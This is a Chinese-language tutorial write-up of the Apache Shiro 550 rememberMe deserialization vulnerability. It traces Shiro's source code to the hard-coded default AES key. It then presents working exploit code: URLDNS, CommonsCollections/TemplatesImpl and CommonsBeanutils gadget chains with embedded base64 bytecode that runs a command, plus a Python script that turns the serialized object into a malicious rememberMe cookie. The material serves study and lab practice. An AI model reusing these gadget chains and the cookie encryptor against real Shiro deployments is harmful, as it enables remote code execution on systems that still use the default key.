简介

Apache Shiro是⼀个功能强⼤且易于使⽤的Java安全框架,它⽤于处理身份验证,授权,加密和会话管理在默认情况下, Apache Shiro使⽤CookieRememberMeManager对⽤户身份进⾏序列化/反序列化,加密/解密和编码/解码,以供以后检索。

Apache Shiro接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份。

  • 从请求数据包中提取CookierememberMe字段的值,对提取的Cookie值进⾏Base64解码
  • Base64解码后的值进⾏AES解密
  • 对解密后的字节数组调⽤ObjectInputStream.readObject()⽅法来反序列化。

但是默认AES加密密钥是“硬编码” 在代码中的。因此,如果服务端采⽤默认加密密钥,那么攻击者就可以构造⼀个恶意对象,并对其进⾏序列化,AES加密,Base64编码,将其作为CookierememberMe字段值发送。Apache Shiro在接收到请求时会反序列化恶意对象,从⽽执⾏攻击者指定的任意代码。

shiro550 shiro <1.2.4

环境搭建

环境直接使用P神的shirodemo:https://github.com/phith0n/JavaThings/blob/master/shirodemo 下载后IDEA打开加载maven即可。

接着添加tomcat,配置如下:

image-20240221084744821

调成一个没有占用的端口,这里我设置的是8081。url不用改,之后会自动修改。

image-20240221084906968

然后应用,启动tomcat即可。

源码分析

首先找到web模块下org.apache.shiro.web.mgt.CookieRememberMeManager类,然后找到 getRememberedSerializedIdentity()方法。

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                    "immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
        return null;
    }

    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);

    String base64 = getCookie().readValue(request, response);
    // Browsers do not always remove cookies immediately (SHIRO-183)
    // ignore cookies that are scheduled for removal
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {
        //no cookie set - new site visitor?
        return null;
    }
}

不难看出这个方法进行了base64解码。然后逆向追踪查找调用处,能够找到shiro-core模块的org.apache.shiro.mgt包的AbstractRememberMeManager类。其中有一个方法:

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

可以看到这里除了调用了getRememberedSerializedIdentity()方法,还有一个convertBytesToPrincipals()方法。

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

这里进入decrypt()方法:

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

看到这里并结合简介的内容就可以知道应该是AES加密。其中getDecryptionCipherKey()方法用于获取加密的密钥,进入其中查看:

public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

查找该属性在哪里被赋值:

public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
    this.decryptionCipherKey = decryptionCipherKey;
}

继续查找该方法的调用,可以查到setCipherKey()方法。

public void setCipherKey(byte[] cipherKey) {
    //Since this method should only be used in symmetric ciphers
    //(where the enc and dec keys are the same), set it on both:
    setEncryptionCipherKey(cipherKey);
    setDecryptionCipherKey(cipherKey);
}

继续查找调用,找到了构造方法:

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

该构造方法传入了一个常量值:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

到这里密钥我们就知道了。然后回到convertBytesToPrincipals()方法:

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

刚才我们追踪的decrypt()方法,所以现在追踪deserialize()方法:

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return getSerializer().deserialize(serializedIdentity);
}

继续跟踪getSerializer().deserialize(serializedIdentity)发现是一个接口,那么查找实现类,找到shiro-core模块,org.apache.shiro.io包下的DefaultSerializer类,查看该类中重写的deserialize()方法:

public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

使用了readObject()方法,故存在反序列化漏洞。

payload

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段。
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段。
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
  • 经过分析可知服务器会对rememberMe字段进行base64解码,然后AES解密,最后反序列化。所以payload反着来就行。
  • 最后在登录时勾选RememberMe字段然后修改之后Cookie中的rememberMe字段为payload即可触发。

URLDNS检测

首先将URLDNSpayload序列化:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class study2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap map = new HashMap<>();
        URL url = new URL("xxx");

        Class c = url.getClass();
        Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        // 将hashCode设置为222,否则put将产生一次DNS解析
        fieldhashcode.set(url,222);
        map.put(url,"hello");
        // 在序列化前将url的hashCode设置为-1,这样在反序列化时就可以调用handler的hashCode
        fieldhashcode.set(url,-1);
        se(map);
    }
    public static void se(Object obj) throws IOException, ClassNotFoundException {
        FileOutputStream fileOut = new FileOutputStream("bin.ser");
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(obj);
        out.close();
        fileOut.close();
    }
}

然后进行AES并BASE64:

from Crypto.Cipher import AES
import base64
from Crypto.Random import get_random_bytes


def encrypt_text(key, text):
    BS = AES.block_size
    salt = get_random_bytes(16)
    cipher = AES.new(key, AES.MODE_CBC,salt)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    return base64.b64encode(salt + cipher.encrypt(pad(data)))
if __name__ == '__main__':
    with open('../bin.ser','rb') as f:
        data = f.read()
    strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), data)
    print('rememberMe=' + strEN.decode())

image-20240221085721603

访问shirodemo_war/login.jsp页面的请求包时删除JSESSION,否则rememberMe字段不起作用。修改rememberMe字段值为payload然后到DNSLOG平台看记录即可。

CC

由于ClassUtils.forName()方法的使用,反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。所以原来的CC链是无法利用的。回忆CC1的InvokerTransformer.transform()是可以执行任意方法的,那么结合TemplatesImpl不就可以加载任意恶意类的字节码吗?故有payload:

public class CC11 {
    public static void main(String[] args) throws Throwable {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "Cristrik010");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        Map transformedMap = TransformedMap.decorate(hashMap, null,chainedTransformer);
        transformedMap.put("xxx", "xxx");
    }
    static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
        Field bytecodes = object.getClass().getDeclaredField(FieldName);
        bytecodes.setAccessible(true);
        bytecodes.set(object,data);
    }
}

方便理解,有流程图如下:

image-20240221095001652

回到正题,这里仍然利用了Transformer数组,可见也是无法利用的。但是回想一下CC6的TiedMapEntry调用Lazymap.get()方法的过程:

  • LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer)创建Lazymap
  • new TiedMapEntry(lazyMap,runtime):第一个参数传入构造好的Lazymap,第二个传入LazymapinvokerTransformer调用方法所属的对象

这里再看一下Transformer数组:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{}),
};

数组第一个元素是invokerTransformer调用方法所属的对象,第二个是invokerTransformer。那么这个数组转换成TiedMapEntry利用不就只有一个invokerTransformer对象了吗,所以也就不用数组了。直接把CC6的payload拿来改改:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class CC11 {
    public static void main(String[] args) throws Throwable {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "Cristrik010");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap = new HashMap<>();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{});
        // 先不传入chainedTransformer,防止put执行payload
        LazyMap lazyMap =(LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
        HashMap map1 = new HashMap();
        map1.put(new TiedMapEntry(lazyMap,templates),"Critstrik010");
        lazyMap.remove(templates);
        // 反序列化前将chainedTransformer传入lazyMap。
        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap,invokerTransformer);
        se(map1);
    }
    static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
        Field bytecodes = object.getClass().getDeclaredField(FieldName);
        bytecodes.setAccessible(true);
        bytecodes.set(object,data);
    }

    public static void se(Object obj) throws IOException, ClassNotFoundException {
        FileOutputStream fileOut = new FileOutputStream("bin.ser");
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(obj);
        out.close();
        fileOut.close();
    }
}

然后进行AES和BASE64编码:

from Crypto.Cipher import AES
import base64
from Crypto.Random import get_random_bytes


def encrypt_text(key, text):
    BS = AES.block_size
    salt = get_random_bytes(16)
    cipher = AES.new(key, AES.MODE_CBC,salt)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    return base64.b64encode(salt + cipher.encrypt(pad(data)))
if __name__ == '__main__':
    with open('../bin.ser','rb') as f:
        data = f.read()
    strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), data)
    print('rememberMe=' + strEN.decode())

抓包修改:

image-20240221102245384

成功弹出计算器。

注:字节码来源Java加载字节码 | Cristrik010 (dotfogtme.ltd)

CommonsBeanutils无依赖反序列化利用

上面CC链已经可以在shiro利用了,但是有一个问题就是项目得有commons-collections依赖,这种情况肯定不会很多。因此shiro自带的CommonsBeanutils就可以解决这个问题。

Apache Commons Beanutils提供了对普通java类对象(javaBean)的一些操作方法。在CommonsBeanutils中有BeanComparator类。这个类的compare()方法实现了javaBean的比较:

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

这个方法调用了PropertyUtils.getProperty(o1, this.property),该方法让使用者可以调用o1对象this.property属性的getter()方法。到这里就需要找哪些getter()可以利用呢?还真有,在TemplatesImpl加载字节码:Java加载字节码 | Cristrik010 (dotfogtme.ltd)这篇文章中,newTransformer()是加载的起点,其实向上追踪还有一个方法:getOutputProperties()

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

这命名不就是outputProperties属性的构造方法吗?知道这些,那payload就好说了,直接调用这个getter()方法。到写的时候才发现,怎么才能调用compare()方法呢?于是逆向追踪哪里调用compare()方法,找到java.util.PriorityQueue这个类的siftUpUsingComparator()方法

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

这里comparator需要是BeanComparator对象,查找可知构造方法可以直接传入。但是private继续向上查找,找到siftUp()仍是private

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

继续找,找到了offer()方法

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

此时是public。那么payload基本就有了,但是要思考一个问题,追踪了半天,这条链和反序列化有什么关系呢?接着观察PriorityQueue类的readObject()方法:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

重点是最后的heapify()跟踪发现,这个方法调用了调用关系如下:

heapify()
	siftDown()
        siftDownUsingComparator()
    		comparator.compare()

siftDownUsingComparator()和上面siftUpUsingComparator()逻辑相似,这里不进行分析。构造payload:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class Mycb {
    public static void main(String[] args) throws Exception{
        BeanComparator beanComparator = new BeanComparator();
        // 构造方法传入 comparator
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
        // 先不传入templates,因为无法比较大小会报错
        priorityQueue.offer("1");
        priorityQueue.offer("2");
        // 反射修改this.property为outputProperties,之后会调用其getter()
        setFieldValue(beanComparator,"property","outputProperties");
        // 构造恶意字节码
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "Cristrik010");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        // 反射修改上文offer()传入的参数
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
        se(priorityQueue);
    }
    static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
        Field bytecodes = object.getClass().getDeclaredField(FieldName);
        bytecodes.setAccessible(true);
        bytecodes.set(object,data);
    }
    public static void se(Object obj) throws IOException, ClassNotFoundException {
        FileOutputStream fileOut = new FileOutputStream("bin.ser");
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(obj);
        out.close();
        fileOut.close();
    }
}

然后抓包修改参数即可。流程图如下:

image-20240221204939133